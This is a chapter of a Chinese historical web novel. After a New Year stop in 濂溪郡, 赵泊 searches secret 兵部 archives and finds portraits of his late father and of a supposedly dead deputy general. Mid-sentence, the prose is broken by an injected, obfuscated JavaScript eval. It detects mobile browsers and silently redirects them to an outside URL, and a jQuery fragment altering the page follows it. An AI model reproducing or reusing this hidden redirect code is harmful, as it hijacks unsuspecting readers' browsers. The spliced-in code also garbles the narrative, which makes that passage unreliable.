静月坐在马车上，也不知道走了多久，或许说，她的心思根本就不在这里。


    他们出了雁门郡，又看着雁门的城门离自己越来越远，沿途也逐渐有了别样的树木。虽然正值寒冬腊月，这树并无生机，可返京的实感是越来越深了。


    越往东走，年味越深。


    大年将至，一行人便在濂溪郡暂停了一日，预备吃了年夜饭休整一下再赶路。


    毕竟赶了这么些天的路，静月觉得甚是困乏。面对一桌子佳肴美酒，她只想赶紧躺床榻上睡个一天一夜，这一顿饭吃得没滋没味的。


    黄敖今晚多喝了些酒，就显得有些亢奋，话也多了起来：“哎呀！谁曾想再回这濂溪郡竟已是这十年后，真是‘人生天地之间，若白驹过隙，忽然而已。’时间啊！时间啊！”


    静月看着舒吟，两人一副习惯了的模样，面色不改。继涵打了个哈欠，估算着自己该如何开脱，再溜屋里睡觉。


    苏儒贞仍旧是温柔地笑着说：“是啊，我还记得那晚我们还去拜访了蒋郡守，谁知后来这蒋郡守的儿子绍州就与汝宁郡主成婚了，现在估计都是几个孩子的父亲了。


    那一夜我们前来，月儿还把她的丝帕给弄丢了，哭得那叫一个伤心哟！”


    静月夹菜的手一顿，往日的情景隐隐约约再次浮现眼前——手帕、夜晚、槐树……


    嘶，好像还有个，人？


    对了对了，就是那一晚！


    她好心把自己的手帕借给那人止血，可那人竟然忘还了她，小人！真是小人！


    远在京城的赵泊正在前往宫宴的路上，竟不由得打了个喷嚏，“看来今年是个寒冬啊，回去还是得多加件衣服。”


    舒吟不知道静月为什么怨气冲天地攥着筷子不放。她只是觉得筷子有些可怜，下一秒就快折了。


    黄敖听苏儒贞提及蒋绍州，思索了一番，“是啊，听说这蒋绍州便是这濂溪新上任的郡守，不久前才从上京调任过来。他还不到而立之年，可真是年轻有为啊。”


    苏儒贞轻抿了一口热茶，内心暗暗思索：不可不可，汝宁郡主可是一直在上京城居住的，如今蒋绍州来了濂溪。长久来看，夫妇二人这般怎好？


    罢了罢了，各有其命，她自顾自地摇了摇头。


    “你们几个多吃一些，再回去好好睡一觉，过了濂溪可就不好找地方休整了。”


    静月眨着亮晶晶的大眼，点了点头。苏儒贞觉得她真是可爱，没有人会不喜欢她家月儿的。


    -


    “杨尚书，晚辈有礼了。”


    赵泊已经在兵部等候多时，看起来依旧好脾气，温润守礼。


    杨肇可受不起这么大的礼，“我说一大早是谁前来拜访，原来是襄王殿下，臣不敢当，不敢当。”


    眼见杨肇要弯腰拱手给自己作揖，赵泊赶忙将他给扶了起来。


    “晚辈事出突然，没能来得及通传拜贴就冒昧打扰，实在不妥，还望杨尚书见谅。”


    杨肇嘴角微微上扬，暗想：这小子虽然爱先斩后奏，却也知错能改。不可不可，我得先替黄敖那老家伙相看相看。


    赵泊见他不说话，也有些僵住了：不该问我到底有什么急事吗，怎么不按套路出牌，那我现在该说什么？


    杨肇终于缓过神来，不自在地咳了一声，“哦，哦，能谅解，能谅解。”


    而后，他终于仿若大梦初醒般开口：“不知王爷前来，究竟所为何事？”


    赵泊喘了一口气，神色峻然，“晚辈今日前来，是想查看十八年前‘政岚雁门之战’中被隐瞒下来的密报。”


    刹那间，整个屋子都静了下来，仿佛只留两人的心跳声，急促、震颤。


    杨肇神色严正，十八年，都过去十八年了。终于有人愿意将尘封的往事给翻阅出来了。


    还好，这人，正是你的孩子。


    在杨肇没来之前，赵泊已经将整个兵部的档案翻阅遍了，除了千遍一律的寥寥几语，什么都没有。


    他只能将希望寄托于杨肇，若杨肇是个良人，那这一切就还有眉目，还有希望。


    现在看来，他赌对了。


    杨肇沉重地拍了拍他的肩膀，“我终于等到了。”


    赵泊为之动容，凝了凝神，垂下眼眸，坚定颔首。


    杨肇领着赵泊出了屋门，不知何时拿出了一方黑色丝帕，“虽说冒昧，还是烦请王爷将这丝帕蒙在眼上。”


    兵部要处，攸关性命，哪怕是皇亲国戚，也实在不得不防。


    赵泊没有丝毫犹豫，熟练地在脑后打了个结。


    “抓紧我的手臂，我会带你前去。”


    即使是在朗朗白日，赵泊眼前还是一片黑暗，这丝帕看似寻常，实则是费了些心思的。


    赵泊握紧杨肇的手臂，摸不清自己究竟身处何处，其实这是杨肇自创的“逐风步”，令人感觉行了八百里路，实际上还在这小小院落之中。


    过了不知多久，赵泊脑后的结终于被解下，他终于重见光明。


    这一路，兴是有重兵把守，每每他们经过，不知杨肇拿出了什么，那些人都会让行。


    赵泊猜想，应该是尚书令牌。


    “怎么了，傻了，连话都不说了？走吧，跟我进去吧。”


    杨肇旁若无人地往前走去。这小子个子怪高，胆量还得练练，要不日后见了他舅父怕还怵的慌。


    赵泊让眼睛缓了缓，根本就没能猜到前面人是怎么腹议他的。


    杨肇将门打开，时间的气味扑鼻而来，赵泊从不知小小的兵部还有这一方天地，保密工作真是做得不错。


    “怎么了，很吃惊吧，没能想到兵部还藏着这个地方吧！”


    赵泊被看穿了心思，也不羞愧，“自然，谁能猜到呢？”


    兵部密要之处，是每位尚书性命交关之地，一旦失守，整个兵部二百余人及其家眷全部殉难。


    是以，非是十万火急之事，这一处锁链从未被开启。


    “时间不多，只能留给你一刻钟，一秒也不能多，时间到了，你我二人就要出现在前院。”


    赵泊谢了他，也顾不上说那么多。


    东西既然无法拿走，那只能用眼睛、用心记在脑海。


    他小心翻查着一切与当年相关的密要，年岁太久了，字迹也不清楚了，只能抓分夺秒。


    赵泊急匆匆地放下书卷，下意识地拿起它旁边的物件，等眼睛反应过来，他才发现，这是画轴？


    杨肇看清他手中之物，一股酸涩涌上心头，“这是当年我所作的画像，就当是缅怀你父亲了，当日献给了先帝，原以为随他一起葬入皇陵了，没想到在这留着。”


    赵泊的手控制不住的发抖，从出生到现在，他从来没见过父亲的画像。阿姐说，是因为父亲不愿意为一张纸，浪费那么长的时间，他总说往后有的是时间，总会抽出空的，可……


    “小子，时间可不多了。”


    杨肇已经完全将这位襄王殿下当作了自己故人的幼子，这里只有他们二人，也就当故人还在吧。


    赵泊喘了口气，颤栗着打开了卷轴。


    父亲，原来这就


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404495|199543||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是父亲。他不苟言笑，看起来也是冷冷的，可眼中藏着不易察觉的温情，刚到而立之年的他精神抖擞，神采奕奕。父亲啊，若是你还在，脸上也该起皱纹了吧，又会是何等模样呢？


    赵泊忍不住地抚摸画像，从眉目到下颌，他都对此太陌生了。轻轻一捻，下面竟还有一张画像。


    赵泊怅然也疑惑，“前辈，这下面是？”


    杨肇走上前来，也想起了什么，“应当是你父亲的副将，潘承虎将士，他无父无母，也没有家眷。


    他死了，这世上再没人记得他了，我与他借着你父亲的缘故，见过几面，就为他也画了一张。


    想来是被人搞错了，将两张画放在了一处，把它抽出来吧，我再找个画轴，妥善安置一下。”


    赵泊将它抽了出来，定眼一瞧，神色却突然一变，右手捏住画像一角，僵在了空中。


    “怎么了，这画像有何不妥？”


    “前辈，你刚才说这画像是谁？”


    “你父亲的副将——潘承虎，十八年前随你父亲一道，牺牲在了雁门疆场。”


    “牺牲？他死了？”


    “你这孩子，大白天说什么浑话，怪渗人的慌。”


    杨肇当他是见了瑞王的画像受了刺激，再加上屋里阴湿湿的，可能沾上了些不干净的。看来他们确实该走了。


    “时间差不多了，将画轴放下吧，我们该出去了，要不外面的人该起疑心了。”


    赵泊最后看了画轴一眼，好像里面不仅仅是一张画像，而是他活生生的父亲，这一合上，就天人永隔了。


    他往旁边看了另一张画像，这人看起来也就二十出头，风华正茂，与自己记忆中的样子相差甚远。可他不会认错的，这十八年，究竟发生了什么？


    赵泊看着杨肇将这张画像折叠，塞进了不知道从哪里找到的锦囊中，“嗯，刚好能放下。”


    杨肇一转眼，就看见赵泊幽幽的目光，直勾勾盯着自己的手。得了得了，真该撒些石灰避避邪。


    “王爷，你……是在兵部发现什么了吗？”


    自从赵泊从兵部回来，他就一言不发，活似失了魂，起阳着实是担心。


    赵泊深深地叹了口气，言语间有些无力，“起阳，你说，有没有一种术法，能叫十八年前就马革裹尸的将士变成一个乞丐出现在你的面前？”


    杜仲和起阳听见这话，不懂他是何意思，着实吓了一跳，对视一眼皆是无话可说。


    “王爷，是，是想起来什么了吗？”


    起阳努力使自己镇定下来，出声询问道。


    赵泊摇了摇头，他不会认错的，可这实在难以令人接受。


    “安排一下吧，我要去雁门一趟，越快越好。”


    杜仲下意识的后退半步，嘴巴微张，心跳再次乱了节拍，他实在难以置信，“王爷，去哪？雁门，怎么又要去雁门？”


    赵泊闭上了眼睛，他有些疲倦了，“准备一匹快马吧，这次，我一个人前去，你们二人留在府里。”


    “不可，现在路上大多结了冰，赶路属实危险，属下怎么放心让您一人前去呢？”


    “此事不再商议，临近年关，府里必须有人主持大局，你们二人都在，旁人才不会起疑心。”


    赵泊一句话直接堵住了起阳的嘴，他什么也说不出口了。


    倒是一向话多的杜仲噤了声，安静了许多。


    赵泊没有拖沓，第二天一早便骑马踏上了行程。


    他没有顾虑，也没有重担，如今唯有一腔热血，支撑他不断地往前行。